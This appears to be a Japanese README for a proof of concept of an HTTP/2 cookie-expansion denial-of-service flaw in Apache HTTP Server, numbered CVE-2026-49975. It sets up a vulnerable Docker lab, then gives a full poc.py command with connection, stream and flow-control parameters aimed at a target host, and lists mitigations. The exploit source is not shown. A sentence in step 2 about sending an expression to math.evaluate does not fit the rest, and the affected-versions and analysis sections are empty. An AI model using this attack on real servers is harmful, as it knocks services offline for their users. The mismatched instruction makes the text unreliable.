CVE-2026-49975 HTTP/2 ボム

★ CVE-2026-49975 HTTP/2 ボム PoC ★

概要

CVE-2026-49975 は Apache HTTP Server における Denial of Service (DoS) 脆弱性です。 この脆弱性は HTTP/2 のリクエスト処理経路で発生し、複数の cookie ヘッダーフィールドが LimitRequestFields に対して適切にカウントされずにマージされる可能性があります。 攻撃者は、小さな HPACK エンコードされた HTTP/2 リクエストを送信することで、多くの cookie ヘッダーフィールドに展開し、Cookie ヘッダーのマージ中にサーバーが繰り返しメモリを割り当てるように強制します。 その後、攻撃者は HTTP/2 フロー制御を使用して応答送信を遅延させ、影響を受けるストリームを開いたままにし、割り当てられたメモリが解放されるのを防ぎます。

影響を受けるバージョン

影響

• リモートサービス拒否 (DoS)
• 過度なメモリ消費
• 通常のユーザーリクエストの処理遅延または失敗

環境

Build and run the vulnerable Apache HTTP Server environment.

docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

PoC

脆弱な環境を起動した後、以下の手順に従って攻撃を再現します。

手順1. サーバーのメモリ使用量を監視する

docker stats cve-2026-49975

出力例:

CONTAINER ID   NAME             CPU %   MEM USAGE / LIMIT     MEM %
xxxxxxxxxxxx   cve-2026-49975   0.5%    35.2MiB / 8.0GiB      1.7%

手順2. HTTP/2 ボム PoC を実行する

以下の式を math.evaluate に送信します（例：アプリケーションの計算入力経由）。

python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

手順3. 結果を確認する

攻撃ストリームが開かれたままの間、Apache コンテナのメモリ使用量が増加し、高いままであることを確認します。

緩和策

• Apache HTTP Server を 2.4.68 以降にアップグレードする
• サービスに HTTP/2 が必要ない場合、一時的に無効にすることを検討する

分析

• KR:
• EN: